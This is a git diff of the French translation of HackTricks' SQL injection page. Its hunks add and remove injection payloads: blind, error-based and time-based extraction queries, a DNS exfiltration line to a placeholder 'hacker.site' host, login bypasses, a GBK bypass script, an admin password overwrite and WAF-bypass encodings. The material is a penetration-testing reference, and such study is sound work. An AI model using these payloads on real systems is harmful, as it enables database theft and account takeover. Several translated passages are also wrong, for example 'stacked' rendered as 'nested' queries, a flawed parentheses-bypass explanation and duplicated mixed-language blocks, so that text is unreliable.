+ +Une fois que la requête a été extraite, il est nécessaire d'adapter votre charge utile pour fermer en toute sécurité la requête d'origine. Ensuite, une requête d'union est ajoutée à votre charge utile, facilitant l'exploitation de la nouvelle injection basée sur l'union accessible. + +Pour des informations plus détaillées, consultez l'article complet disponible sur [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f). ## Exploitation basée sur les erreurs -Si pour une raison quelconque vous **ne pouvez pas** voir la **sortie** de la **requête** mais que vous pouvez **voir les messages d'erreur**, vous pouvez utiliser ces messages d'erreur pour **extraire** des données de la base de données.\ -En suivant un flux similaire à l'exploitation basée sur Union, vous pourriez réussir à vider la base de données. +Si, pour une raison quelconque, vous **ne pouvez pas** voir la **sortie** de la **requête** mais que vous pouvez **voir les messages d'erreur**, vous pouvez utiliser ces messages d'erreur pour **exfiltrer** des données de la base de données.\ +En suivant un flux similaire à l'exploitation basée sur l'union, vous pourriez réussir à extraire la base de données. ```sql (select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1)) ``` -## Exploitation de Blind SQLi +## Exploiter les injections SQL aveugles -Dans ce cas, vous ne pouvez pas voir les résultats de la requête ou les erreurs, mais vous pouvez **distinguer** quand la requête **renvoie** une réponse **vraie** ou **fausse** car il y a différents contenus sur la page.\ -Dans ce cas, vous pouvez abuser de ce comportement pour vider la base de données caractère par caractère : +Dans ce cas, vous ne pouvez pas voir les résultats de la requête ou les erreurs, mais vous pouvez distinguer quand la requête renvoie une réponse vraie ou fausse car il y a différents contenus sur la page.\ +Dans ce cas, vous pouvez abuser de ce comportement pour extraire la base de données caractère par caractère : ```sql ?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A' ``` -## Exploitation d'une injection SQL aveugle basée sur les erreurs +## Exploiter les injections SQL en aveugle basées sur les erreurs -Il s'agit du **même cas que précédemment**, mais au lieu de distinguer entre une réponse vraie/fausse de la requête, vous pouvez distinguer entre une **erreur** dans la requête SQL ou non (peut-être parce que le serveur HTTP plante). Par conséquent, dans ce cas, vous pouvez forcer une erreur SQL chaque fois que vous devinez correctement le caractère : +Il s'agit du **même cas que précédemment** mais au lieu de distinguer entre une réponse vraie/fausse de la requête, vous pouvez **distinguer entre** une **erreur** dans la requête SQL ou non (peut-être parce que le serveur HTTP plante). Par conséquent, dans ce cas, vous pouvez forcer une erreur SQL à chaque fois que vous devinez correctement le caractère : ```sql AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- - ``` -## Exploitation de l'injection SQL basée sur le temps +## Exploiter de l'injection SQL basée sur le temps -Dans ce cas, il n'y a **aucun moyen de distinguer** la **réponse** de la requête en fonction du contexte de la page. Cependant, vous pouvez faire en sorte que la page **mette plus de temps à se charger** si le caractère deviné est correct. Nous avons déjà vu cette technique utilisée auparavant pour [confirmer une vulnérabilité SQLi](./#confirming-with-timing). +Dans ce cas, il **n'y a pas** de moyen de **distinguer** la **réponse** de la requête en fonction du contexte de la page. Cependant, vous pouvez faire en sorte que la page **mette plus de temps à se charger** si le caractère deviné est correct. Nous avons déjà vu cette technique utilisée précédemment pour [confirmer une vulnérabilité SQLi](./#confirming-with-timing). ```sql 1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')# ``` -## Requêtes empilées +## Requêtes imbriquées -Vous pouvez utiliser des requêtes empilées pour **exécuter plusieurs requêtes successives**. Notez que bien que les requêtes suivantes soient exécutées, les **résultats ne sont pas renvoyés à l'application**. Par conséquent, cette technique est principalement utile en relation avec les **vulnérabilités aveugles** où vous pouvez utiliser une deuxième requête pour déclencher une recherche DNS, une erreur conditionnelle ou un délai de temps. +Vous pouvez utiliser des requêtes imbriquées pour **exécuter plusieurs requêtes successives**. Notez que bien que les requêtes suivantes soient exécutées, les **résultats** ne sont **pas renvoyés à l'application**. Par conséquent, cette technique est principalement utile en relation avec les **vulnérabilités aveugles** où vous pouvez utiliser une deuxième requête pour déclencher une recherche DNS, une erreur conditionnelle ou un retard temporel. -**Oracle** ne prend pas en charge les **requêtes empilées**. **MySQL, Microsoft** et **PostgreSQL** les prennent en charge : `REQUÊTE-1-ICI; REQUÊTE-2-ICI` +**Oracle** ne prend pas en charge les **requêtes imbriquées**. **MySQL, Microsoft** et **PostgreSQL** les prennent en charge : `REQUETE-1-ICI; REQUETE-2-ICI` ## Exploitation hors bande -Si **aucune autre** méthode d'exploitation **n'a fonctionné**, vous pouvez essayer de faire en sorte que la **base de données exfiltre** les informations vers un **hôte externe** contrôlé par vous. Par exemple, via des requêtes DNS : +Si **aucune autre** méthode d'exploitation n'a **fonctionné**, vous pouvez essayer de faire en sorte que la **base de données exfiltre** les informations vers un **hôte externe** contrôlé par vous. Par exemple, via des requêtes DNS : ```sql select load_file(concat('\\\\',version(),'.hacker.site\\a.txt')); ``` @@ -258,11 +256,11 @@ a' UNION SELECT EXTRACTVALUE(xmltype('
-​​​​​[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus pertinent en **Espagne** et l'un des plus importants en **Europe**. Avec **pour mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans toutes les disciplines. +​​​​​[**RootedCON**](https://www.rootedcon.com/) est l'événement le plus pertinent en matière de cybersécurité en **Espagne** et l'un des plus importants en **Europe**. Avec **la mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline. {% embed url="https://www.rootedcon.com/" %} -## Contournement de l'authentification +## Contournement de l'Authentification Liste pour essayer de contourner la fonctionnalité de connexion : @@ -288,30 +286,27 @@ Liste pour essayer de contourner la fonctionnalité de connexion : [sql-login-bypass.md](../login-bypass/sql-login-bypass.md) {% endcontent-ref %} -### Contournement de l'authentification (MD5 brut) - -Lorsqu'un MD5 brut est utilisé, le mot de passe sera interrogé en tant que simple chaîne, pas en tant que chaîne hexadécimale. +### Contournement de l'Authentification de Hachage Brut ```sql "SELECT * FROM admin WHERE pass = '".md5($password,true)."'" ``` -Permettre à un attaquant de créer une chaîne avec une déclaration `true` telle que `' or 'QUELQUECHOSE`. +Ce query montre une vulnérabilité lorsque MD5 est utilisé avec true pour la sortie brute dans les vérifications d'authentification, rendant le système vulnérable aux injections SQL. Les attaquants peuvent exploiter cela en créant des entrées qui, une fois hachées, produisent des parties de commandes SQL inattendues, entraînant un accès non autorisé. ```sql md5("ffifdyop", true) = 'or'6�]��!r,��b� +sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-! ``` -Le défi est disponible sur [http://web.jarvisoj.com:32772](http://web.jarvisoj.com:32772) - -### Contournement de l'authentification par hachage +### Contournement de l'authentification par hachage injecté ```sql admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055' ``` **Liste recommandée**: -Vous devriez utiliser chaque ligne de la liste comme nom d'utilisateur et toujours utiliser le mot de passe: _**Pass1234.**_\ +Vous devriez utiliser comme nom d'utilisateur chaque ligne de la liste et comme mot de passe toujours: _**Pass1234.**_\ _(Ces charges utiles sont également incluses dans la grande liste mentionnée au début de cette section)_ {% file src="../../.gitbook/assets/sqli-hashbypass.txt" %} -### Contournement d'authentification GBK +### Contournement de l'authentification GBK SI ' est échappé, vous pouvez utiliser %A8%27, et lorsque ' est échappé, il sera créé: 0xA80x5c0x27 (_╘'_) ```sql @@ -322,36 +317,13 @@ SI ' est échappé, vous pouvez utiliser %A8%27, et lorsque ' est échappé, il Script Python : ```python import requests -url = "http://example.com/index.php" -cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3') -datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"} -r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url}) +url = "http://example.com/index.php" +cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3') +datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"} +r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url}) print r.text ``` ### Injection polyglotte (multicontexte) - ---- - -#### Description - -A polyglot injection is an injection that works in more than one context. For example, a polyglot injection can be a SQL injection that works in both MySQL and MSSQL. - -#### How to create a polyglot injection - -To create a polyglot injection, you need to find a string that is valid in multiple contexts. For example, the string `1' OR '1'='1` is valid in both MySQL and MSSQL. - -#### Example - -```sql -SELECT * FROM users WHERE username='admin'--' AND password='1' OR '1'='1'; -SELECT * FROM users WHERE username='admin'--' AND password='' OR '1'='1'; -``` - -In the example above, the injection `--' AND password='1' OR '1'='1` works in MySQL, while the injection `--' AND password='' OR '1'='1` works in MSSQL. - -#### References - -- [Polyglot Injection](https://www.owasp.org/index.php/Polyglot_Injection) (OWASP) ```sql SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/ ``` @@ -359,48 +331,49 @@ SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/ ### Modifier le mot de passe d'un objet/utilisateur existant -Pour ce faire, vous devriez essayer de **créer un nouvel objet nommé comme l'objet "maître"** (probablement **admin** dans le cas des utilisateurs) en modifiant quelque chose : +Pour ce faire, vous devriez essayer de **créer un nouvel objet nommé comme l' "objet principal"** (probablement **admin** dans le cas des utilisateurs) en modifiant quelque chose : -* Créer un utilisateur nommé : **AdMIn** (lettres majuscules et minuscules) -* Créer un utilisateur nommé : **admin=** -* **Attaque de troncature SQL** (lorsqu'il y a une sorte de **limite de longueur** dans le nom d'utilisateur ou l'e-mail) --> Créer un utilisateur avec le nom : **admin \[beaucoup d'espaces] a** +* Créez un utilisateur nommé : **AdMIn** (lettres majuscules et minuscules) +* Créez un utilisateur nommé : **admin=** +* **Attaque de Troncature SQL** (lorsqu'il y a une sorte de **limite de longueur** dans le nom d'utilisateur ou l'e-mail) --> Créez un utilisateur avec le nom : **admin \[beaucoup d'espaces] a** -#### Attaque de troncature SQL +#### Attaque de Troncature SQL Si la base de données est vulnérable et que le nombre maximal de caractères pour le nom d'utilisateur est par exemple de 30 et que vous voulez vous faire passer pour l'utilisateur **admin**, essayez de créer un nom d'utilisateur appelé : "_admin \[30 espaces] a_" et n'importe quel mot de passe. -La base de données **vérifiera** si le **nom d'utilisateur** **introduit existe** dans la base de données. Si ce n'est pas le cas, elle **coupera** le **nom d'utilisateur** au **nombre maximal de caractères autorisés** (dans ce cas, "_admin \[25 espaces]_") et elle **supprimera automatiquement tous les espaces à la fin en mettant à jour** dans la base de données l'utilisateur "**admin**" avec le **nouveau mot de passe** (une erreur pourrait apparaître, mais cela ne signifie pas que cela n'a pas fonctionné). +La base de données va **vérifier** si le **nom d'utilisateur** **introduit** **existe** dans la base de données. Si ce n'est pas le cas, elle va **tronquer** le **nom d'utilisateur** au **nombre maximal de caractères autorisé** (dans ce cas à : "_admin \[25 espaces]_") et elle va **automatiquement supprimer tous les espaces à la fin en mettant à jour** dans la base de données l'utilisateur "**admin**" avec le **nouveau mot de passe** (une erreur pourrait apparaître mais cela ne signifie pas que cela n'a pas fonctionné). Plus d'informations : [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref) -_Remarque : Cette attaque ne fonctionnera plus comme décrit ci-dessus dans les dernières installations MySQL. Bien que les comparaisons ignorent toujours les espaces de fin par défaut, toute tentative d'insérer une chaîne qui est plus longue que la longueur d'un champ entraînera une erreur et l'insertion échouera. Pour plus d'informations à ce sujet, consultez_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)\_\_ +_Remarque : Cette attaque ne fonctionnera plus comme décrit ci-dessus dans les dernières installations MySQL. Bien que les comparaisons ignorent toujours les espaces de fin par défaut, tenter d'insérer une chaîne plus longue que la longueur d'un champ entraînera une erreur et l'insertion échouera. Pour plus d'informations sur cette vérification : [https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)_ ### Vérification basée sur le temps d'insertion MySQL -Ajoutez autant de `','',''` que vous le jugez nécessaire pour sortir de l'instruction VALUES. Si le délai est exécuté, vous avez une injection SQL. +Ajoutez autant de `','',''` que vous estimez nécessaire pour sortir de l'instruction VALUES. Si un retard est exécuté, vous avez une injection SQL. ```sql name=','');WAITFOR%20DELAY%20'0:0:5'--%20- ``` -### ON DUPLICATE KEY UPDATE +### SUR LA MISE À JOUR DE LA CLÉ EN DOUBLE -Les mots-clés ON DUPLICATE KEY UPDATE sont utilisés pour indiquer à MySQL quoi faire lorsque l'application tente d'insérer une ligne qui existe déjà dans la table. Nous pouvons l'utiliser pour changer le mot de passe de l'administrateur en: +La clause `ON DUPLICATE KEY UPDATE` en MySQL est utilisée pour spécifier les actions à effectuer par la base de données lorsqu'une tentative est faite pour insérer une ligne qui entraînerait une valeur en double dans un index UNIQUE ou une CLÉ PRIMAIRE. L'exemple suivant démontre comment cette fonctionnalité peut être exploitée pour modifier le mot de passe d'un compte administrateur : + +Exemple d'injection de charge utile : + +Une charge utile d'injection pourrait être conçue comme suit, où deux lignes sont tentées d'être insérées dans la table `users`. La première ligne est un leurre, et la deuxième cible l'e-mail d'un administrateur existant dans le but de mettre à jour le mot de passe : +```sql +INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- "; ``` -Inject using payload: - attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" -- +Voici comment cela fonctionne : -The query would look like this: -INSERT INTO users (email, password) VALUES ("attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" -- ", "bcrypt_hash_of_your_password_input"); +- La requête tente d'insérer deux lignes : une pour `generic_user@example.com` et une autre pour `admin_generic@example.com`. +- Si la ligne pour `admin_generic@example.com` existe déjà, la clause `ON DUPLICATE KEY UPDATE` est déclenchée, indiquant à MySQL de mettre à jour le champ `password` de la ligne existante en "bcrypt_hash_of_newpassword". +- Par conséquent, l'authentification peut ensuite être tentée en utilisant `admin_generic@example.com` avec le mot de passe correspondant au hachage bcrypt ("bcrypt_hash_of_newpassword" représente le hachage bcrypt du nouveau mot de passe, qui doit être remplacé par le hachage réel du mot de passe souhaité). -This query will insert a row for the user “attacker_dummy@example.com”. It will also insert a row for the user “admin@example.com”. -Because this row already exists, the ON DUPLICATE KEY UPDATE keyword tells MySQL to update the `password` column of the already existing row to "bcrypt_hash_of_qwerty". - -After this, we can simply authenticate with “admin@example.com” and the password “qwerty”! -``` ### Extraire des informations -#### Création de 2 comptes en même temps +#### Créer 2 comptes en même temps -Lorsque vous essayez de créer un nouvel utilisateur, un nom d'utilisateur, un mot de passe et une adresse e-mail sont nécessaires : +Lors de la tentative de création d'un nouvel utilisateur et d'un nom d'utilisateur, un mot de passe et un e-mail sont nécessaires : ``` SQLi payload: username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- - @@ -409,17 +382,13 @@ A new user with username=otherUsername, password=otherPassword, email:FLAG will ``` #### Utilisation de décimal ou hexadécimal -Avec cette technique, vous pouvez extraire des informations en créant seulement 1 compte. Il est important de noter que vous n'avez pas besoin de commenter quoi que ce soit. +Avec cette technique, vous pouvez extraire des informations en créant un seul compte. Il est important de noter que vous n'avez pas besoin de commenter quoi que ce soit. -En utilisant **hex2dec** et **substr** : +En utilisant **hex2dec** et **substr**: ```sql '+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+' ``` -``` -with open('/hive/hacktricks/pentesting-web/sql-injection/README.md', 'r') as file: - text = file.read() -print(text) -``` +Pour obtenir le texte, vous pouvez utiliser : ```python __import__('binascii').unhexlify(hex(215573607263)[2:]) ``` @@ -434,24 +403,26 @@ Utilisation de **hex** et **replace** (et **substr**) : ```
-[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus pertinent en Espagne et l'un des plus importants en Europe. Avec pour mission de promouvoir les connaissances techniques, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans toutes les disciplines. +​​​​​​[**RootedCON**](https://www.rootedcon.com/) est l'événement le plus pertinent en matière de cybersécurité en **Espagne** et l'un des plus importants en **Europe**. Avec **pour mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline. {% embed url="https://www.rootedcon.com/" %} ## Injection SQL routée -L'injection SQL routée est une situation où la requête injectable n'est pas celle qui donne une sortie, mais la sortie de la requête injectable va à la requête qui donne une sortie. ([Article](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt)) +L'injection SQL routée est une situation où la requête injectable n'est pas celle qui donne une sortie, mais la sortie de la requête injectable va à la requête qui donne une sortie. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt)) -Exemple : -```sql +Exemple: +``` #Hex of: -1' union select login,password from users-- a -1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a ``` ## Contournement de WAF +[Bypass initiaux à partir d'ici](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass) + ### Contournement sans espaces -Pas d'espace (%20) - contournement en utilisant des alternatives d'espacement. +Pas d'espace (%20) - contournement en utilisant des alternatives d'espacement ```sql ?id=1%09and%091=1%09-- ?id=1%0Dand%0D1=1%0D-- @@ -460,76 +431,33 @@ Pas d'espace (%20) - contournement en utilisant des alternatives d'espacement. ?id=1%0Aand%0A1=1%0A-- ?id=1%A0and%A01=1%A0-- ``` -# Pas d'espace blanc - contournement en utilisant des commentaires +### No Whitespace - bypass using comments -Lorsque l'injection SQL est effectuée dans une requête qui ne permet pas l'utilisation d'espaces blancs, il est possible de contourner cette restriction en utilisant des commentaires. - -## Contournement - -La technique consiste à utiliser des commentaires pour masquer les espaces blancs. Les commentaires sont ignorés par le moteur de base de données, donc tout ce qui est placé à l'intérieur d'un commentaire ne sera pas considéré comme un espace blanc. - -### Exemple - -Supposons que nous avons une requête qui ressemble à ceci : - -``` -SELECT * FROM users WHERE username='admin' AND password='1234' +#### English +```plaintext +In some cases, the application may filter whitespace characters to prevent SQL injection attacks. However, you can bypass this restriction by using comments to separate the SQL keywords. For example, you can use `/**/` or `#` to replace spaces in your SQL injection payload. This technique allows you to evade detection and successfully execute SQL injection attacks even when whitespace filtering is in place. ``` -Pour contourner la restriction d'espaces blancs, nous pouvons utiliser des commentaires pour masquer les espaces blancs de la manière suivante : - +#### French +```plaintext +Dans certains cas, l'application peut filtrer les caractères d'espacement pour prévenir les attaques par injection SQL. Cependant, vous pouvez contourner cette restriction en utilisant des commentaires pour séparer les mots-clés SQL. Par exemple, vous pouvez utiliser `/**/` ou `#` pour remplacer les espaces dans votre charge utile d'injection SQL. Cette technique vous permet d'éviter la détection et d'exécuter avec succès des attaques par injection SQL même lorsque le filtrage des espaces est en place. ``` -SELECT/**/*/**/FROM/**/users/**/WHERE/**/username='admin'/**/AND/**/password='1234' -``` - -Dans cet exemple, nous avons utilisé des commentaires pour masquer les espaces blancs entre les mots clés et les noms de table, ainsi qu'entre les noms de colonnes et les valeurs. - -## Conclusion - -L'utilisation de commentaires pour contourner les restrictions d'espaces blancs est une technique courante en injection SQL. Il est important de comprendre comment cela fonctionne pour pouvoir détecter et prévenir les attaques. ```sql ?id=1/*comment*/and/**/1=1/**/-- ``` -# Pas d'espaces - contournement en utilisant des parenthèses +### No Whitespace - contourner en utilisant des parenthèses -Lorsque l'injection SQL est effectuée dans une requête sans espaces, il peut être difficile de contourner les filtres de caractères. Cependant, une technique courante consiste à utiliser des parenthèses pour contourner les filtres. +Dans certains cas, les filtres de sécurité peuvent bloquer les mots-clés SQL tels que `OR` ou `AND`, mais autoriser les parenthèses. Pour contourner cette restriction, vous pouvez utiliser des parenthèses pour exécuter une injection SQL. Par exemple, au lieu d'utiliser `OR`, vous pouvez utiliser `)|`. Voici un exemple : -## Contournement - -Considérons la requête suivante: - -``` -SELECT * FROM users WHERE username='admin' AND password='[INJECTION POINT]' +```sql +SELECT * FROM users WHERE username='admin' AND password='admin' AND (1=1)-- ``` -Supposons que l'injection SQL soit la suivante: - -``` -' or '1'='1 -``` - -La requête finale ressemblerait à ceci: - -``` -SELECT * FROM users WHERE username='admin' AND password='' or '1'='1' -``` - -Cependant, si la requête ne contient pas d'espaces, la technique précédente ne fonctionnera pas. Dans ce cas, nous pouvons utiliser des parenthèses pour contourner les filtres. La requête finale ressemblerait à ceci: - -``` -SELECT * FROM users WHERE username='admin' AND password=('') -OR ('1'='1') -``` - -Dans cet exemple, nous avons utilisé des parenthèses pour entourer la chaîne vide, ce qui nous permet d'ajouter notre injection SQL à l'intérieur des parenthèses. De cette façon, nous avons contourné les filtres de caractères et réussi à injecter notre code malveillant dans la requête. - -## Conclusion - -Lorsque vous êtes confronté à une injection SQL dans une requête sans espaces, utilisez des parenthèses pour contourner les filtres de caractères et injecter votre code malveillant. +Dans cet exemple, `1=1` est toujours vrai, ce qui signifie que la condition `AND` est satisfaite, et le double tiret `--` est utilisé pour commenter le reste de la requête SQL. ```sql ?id=(1)and(1)=(1)-- ``` -### Contournement sans virgule +### Pas de virgule de contournement Pas de virgule - contournement en utilisant OFFSET, FROM et JOIN ``` @@ -539,33 +467,13 @@ SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELE ``` ### Contournements génériques -Liste noire utilisant des mots-clés - contournement en utilisant des majuscules/minuscules +Liste noire utilisant des mots-clés - contourner en utilisant des majuscules/minuscules ```sql ?id=1 AND 1=1# ?id=1 AnD 1=1# ?id=1 aNd 1=1# ``` -# Contourner une liste noire de mots-clés insensible à la casse en utilisant un opérateur équivalent - -Si une application utilise une liste noire de mots-clés pour filtrer les entrées de l'utilisateur, il est possible de contourner cette mesure de sécurité en utilisant un opérateur équivalent. Par exemple, si l'application filtre les entrées de l'utilisateur en utilisant la requête suivante : - -``` -SELECT * FROM users WHERE username NOT LIKE '%admin%' AND password = '$password'; -``` - -Il est possible de contourner cette mesure de sécurité en utilisant l'opérateur équivalent `ILIKE` (pour PostgreSQL) ou `LIKE BINARY` (pour MySQL) : - -``` -SELECT * FROM users WHERE username NOT ILIKE '%admin%' AND password = '$password'; -``` - -ou - -``` -SELECT * FROM users WHERE username NOT LIKE BINARY '%admin%' AND password = '$password'; -``` - -Ces opérateurs sont équivalents à `LIKE`, mais ils sont sensibles à la casse. En utilisant ces opérateurs, il est possible de contourner une liste noire de mots-clés insensible à la casse. +Utilisation d'une liste noire de mots-clés insensible à la casse - contourner en utilisant un opérateur équivalent ``` AND -> && -> %26%26 OR -> || -> %7C%7C @@ -573,7 +481,7 @@ OR -> || -> %7C%7C > X -> not between 0 and X WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null)) ``` -### Bypass de WAF avec la notation scientifique +### Contournement de WAF par notation scientifique Vous pouvez trouver une explication plus détaillée de cette astuce dans le [blog de gosecure](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\ Essentiellement, vous pouvez utiliser la notation scientifique de manière inattendue pour contourner le WAF : @@ -584,21 +492,21 @@ Essentiellement, vous pouvez utiliser la notation scientifique de manière inatt ``` ### Contourner la restriction des noms de colonnes -Tout d'abord, remarquez que si la **requête originale et la table à partir de laquelle vous voulez extraire le drapeau ont le même nombre de colonnes**, vous pouvez simplement faire : `0 UNION SELECT * FROM flag` +Tout d'abord, remarquez que si la **requête d'origine et la table à partir de laquelle vous souhaitez extraire le drapeau ont le même nombre de colonnes**, vous pouvez simplement faire : `0 UNION SELECT * FROM flag` -Il est possible d'**accéder à la troisième colonne d'une table sans utiliser son nom** en utilisant une requête comme celle-ci : `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, donc dans une injection SQL cela ressemblerait à : +Il est possible d'**accéder à la troisième colonne d'une table sans utiliser son nom** en utilisant une requête comme celle-ci : `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, donc dans une injection SQL, cela ressemblerait à : ```bash # This is an example with 3 columns that will extract the column number 3 -1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F; ``` -Ou en utilisant une **bypass de virgule**: +Ou en utilisant un **contournement de virgule** : ```bash # In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select" -1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c ``` -Cette astuce a été prise sur [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/) +Ce tour a été pris sur [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/) -### Outils de suggestion de contournement de WAF +### Outils de suggestion de contournement de pare-feu d'application web {% embed url="https://github.com/m4ll0k/Atlas" %} @@ -617,7 +525,7 @@ Cette astuce a été prise sur [https://secgroup.github.io/2017/01/03/33c3ctf-wr
-​​​​​​​[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus pertinent en **Espagne** et l'un des plus importants en **Europe**. Avec **pour mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans toutes les disciplines. +​​​​​​​[**RootedCON**](https://www.rootedcon.com/) est l'événement le plus pertinent en matière de cybersécurité en **Espagne** et l'un des plus importants en **Europe**. Avec **pour mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline. {% embed url="https://www.rootedcon.com/" %} @@ -625,10 +533,10 @@ Cette astuce a été prise sur [https://secgroup.github.io/2017/01/03/33c3ctf-wr ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. diff --git a/pentesting-web/sql-injection/mssql-injection.md b/pentesting-web/sql-injection/mssql-injection.md index c9f9990b9..11d7567e9 100644 --- a/pentesting-web/sql-injection/mssql-injection.md +++ b/pentesting-web/sql-injection/mssql-injection.md @@ -2,26 +2,26 @@
